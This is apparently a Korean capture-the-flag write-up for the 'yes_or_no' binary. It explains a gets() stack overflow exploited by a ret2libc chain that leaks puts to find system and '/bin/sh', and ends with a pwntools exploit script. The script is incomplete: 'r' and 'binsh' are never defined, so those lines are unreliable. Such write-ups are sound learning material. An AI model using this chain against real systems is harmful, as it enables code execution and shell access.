문제파일을 다운로드하면, 실행파일과 libc-2.27.so 파일을 준다.
문제서버에서 사용하는 라이브러리다.
메인함수는, 입력한숫자를 문자열화해서, (어떠한값) 이랑 비교해서 맞을때
gets 함수로 입력을 받아 overflow 가 일어나게된다.
fgets 로 문자열을 입력받을때는 overflow 가 발생하지않으므로,
(어떠한값) 을 입력해서 gets 함수로 overflow 해야겠다.
main+237 에 BP 를 걸고 실행하면, (어떠한값) 을 구할수있다.
0x960000
10진수로 9830400 이니 입력하면, overflow 를 할수있게된다.
NX 가 활성화되어있으므로, 스택에 쉘코드를 올려 실행할 수 없다.
그렇다면, 함수주소를 leak 해서 system함수를 실행해보자.
1. puts 의 plt 주소로 리턴해 puts 의 got 주소를 출력시킨다.
2. puts 의 got 주소로 라이브러리의 베이스주소를 구한다.
3. 라이브러리 베이스주소 + system offset 으로 system 함수의 주소를 구한다.
4. main 으로 리턴한다.
5. main 에서 system함수로 리턴한뒤 쉘 실행
그렇다면, 스택에다가 넣어야할값들은
[DUMMY]
[pop rdi;ret]
[puts_got]
[puts_plt]
[main]
[DUMMY]
[pop rdi;ret]
[/bin/sh]
[ret]
[system]
이값들을 한번 구해보자.
pwntools 에있는 ELF 로 plt,got, 메인함수주소 를 쉽게 구할수있다.
/bin/sh 도 라이브러리에서 구할 수 있다.
ROPgadget 으로
pop dir;ret
ret
가젯을 쉽게 구할 수 있다.
라이브러리는 ASLR 이 적용되어, system함수와 /bin/sh 문자열의 주소를 구하기위해
puts 함수의 got 을 구해온다음, lib 에서 puts 함수의 offset 을 빼면
library_base 이다.
라이브러리 베이스에 system 이나 /bin/sh 문자열의 offset 을 더하면,
실제주소를 구할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
from pwn import *
#r=process('./yes_or_no')
#context.log_level='debug'
b=ELF("./yes_or_no")
lib=ELF("libc-2.27.so")
prr=0x400883 #pop rdi; ret
ret=0x40056e
pay1=""
pay1+='a'*0x12
pay1+='b'*8
pay1+=p64(prr)
pay1+=p64(b.got['puts'])
pay1+=p64(b.plt['puts'])
pay1+=p64(b.symbols['main']) #puts_plt 호출해 puts_got 의 주소를 출력
r.recvline()
r.sendline(str(0x960000))
r.recvline()
r.sendline(pay1)
lib_base=u64(r.recv(6).ljust(8,'\x00'))-lib.symbols['puts'] # 출력된값 가져와 베이스구하기
binsh=lib_base+binsh
system=lib_base+lib.symbols['system']
pay2=""
pay2+='a'*0x12
pay2+='b'*8
pay2+=p64(prr)
pay2+=p64(binsh)
pay2+=p64(ret)
pay2+=p64(system)
r.sendline(str(0x960000))
r.sendline(pay2)
r.interactive()
|
끝